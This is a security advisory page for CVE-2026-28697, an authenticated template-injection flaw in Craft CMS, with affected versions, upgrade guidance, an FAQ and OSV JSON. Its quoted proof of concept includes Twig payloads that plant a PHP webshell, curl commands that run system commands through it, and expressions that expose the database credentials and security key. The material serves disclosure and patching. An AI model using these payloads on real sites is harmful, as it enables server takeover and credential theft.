CVE-2026-28697: Craftcms/cms Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-v47q-jxvr-p68x
CWE-1336
Published
Advisory Summary

CVE-2026-28697 is a CRITICAL remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Craftcms/cms libraries in the Packagist ecosystem. The issue involves craft cms vulnerable to authenticated rce via "craft.app.fs.write()" in twig templates. Remediation is available by upgrading affected packages to version 5.9.0-beta.1, 4.17.0-beta.1.

CVE-2026-28697 at a Glance

CVE Identifier CVE-2026-28697
GHSA Identifier GHSA-v47q-jxvr-p68x
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Affected Product Craftcms/cms
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-28697

To remediate this vulnerability, upgrade all affected Craftcms/cms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/cms fixed: 5.9.0-beta.1
Upgrade craftcms/cms to 5.9.0-beta.1
craftcms/cms fixed: 4.17.0-beta.1
Upgrade craftcms/cms to 4.17.0-beta.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for craftcms/cms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-28697, inspect your project dependencies for Craftcms/cms:

inspect dependencies for craftcms/cms

Analyze the terminal output to locate any version of Craftcms/cms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.9.0-beta.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Craftcms/cms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands. --- ## Proof of Concept ### Attack Prerequisites - Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility ### Steps to Reproduce 1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`) 2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject): - To exploit it by writing to a file system: - **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation. ```twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} ``` - To exploit it by writing to a volume: - **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation. ```twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} ``` <img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" /> 3. Save & go to **Settings → Email** (`/admin/settings/email`) 4. Click **"Test"** at the bottom of the page to trigger template rendering 5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: **Note:** The path might be different on your end depending on the filesystem or volume configuration. ```bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` <img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" /> --- ## Additional Impact The same `craft.app` exposure without any security measures enables additional attack vectors: ### Database Credential Disclosure Database credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection. ```twig {{ craft.app.db.username }} {{ craft.app.db.password }} {{ craft.app.db.dsn }} ``` ### Security Key Disclosure Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection. ```twig {{ craft.app.config.general.securityKey }} ``` ## Recommended Fix - **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods - **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application ## Resources https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216

CVE-2026-28697 Affected Craftcms/cms Versions

2 component(s)
Fixed Versions:
5.9.0-beta.14.17.0-beta.1
Product / Package Ecosystem Affected Versions Fixed Version
craftcms/cms
Packagist
≥ 5.0.0-RC1
< 5.9.0-beta.1
5.9.0-beta.1
craftcms/cms
Packagist
≥ 4.0.0-RC1
< 4.17.0-beta.1
4.17.0-beta.1

References

Frequently Asked Questions

What is CVE-2026-28697?
CVE-2026-28697 is a security vulnerability in Craftcms/cms involving Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.
Which Craftcms/cms versions are affected?
Affected versions include releases prior to 5.9.0-beta.1, 4.17.0-beta.1 across affected packages: craftcms/cms.
What version fixes CVE-2026-28697?
Upgrading to 5.9.0-beta.1, 4.17.0-beta.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is craftcms/cms affected?
Yes, craftcms/cms is affected in releases prior to 5.9.0-beta.1, 4.17.0-beta.1. Upgrade your dependency to 5.9.0-beta.1, 4.17.0-beta.1 or later.
What CWE is associated with CVE-2026-28697?
CVE-2026-28697 is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.).
How can I check Packagist dependencies for CVE-2026-28697?
Run the dependency tree command: 'inspect dependencies for craftcms/cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v47q-jxvr-p68x",
  "modified" : "2026-03-04T18:39:01Z",
  "published" : "2026-03-03T21:00:16Z",
  "aliases" : [ "CVE-2026-28697" ],
  "summary" : "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates",
  "details" : "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?>') }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?>') }}\n\t\t```\n\t<img width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" />\n3. Save & go to **Settings → Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t<img width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" />\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.9.0-beta.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.17.0-beta.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/pull/18216"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/pull/18219"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T21:00:16Z",
    "nvd_published_at" : "2026-03-04T17:16:21Z"
  }
}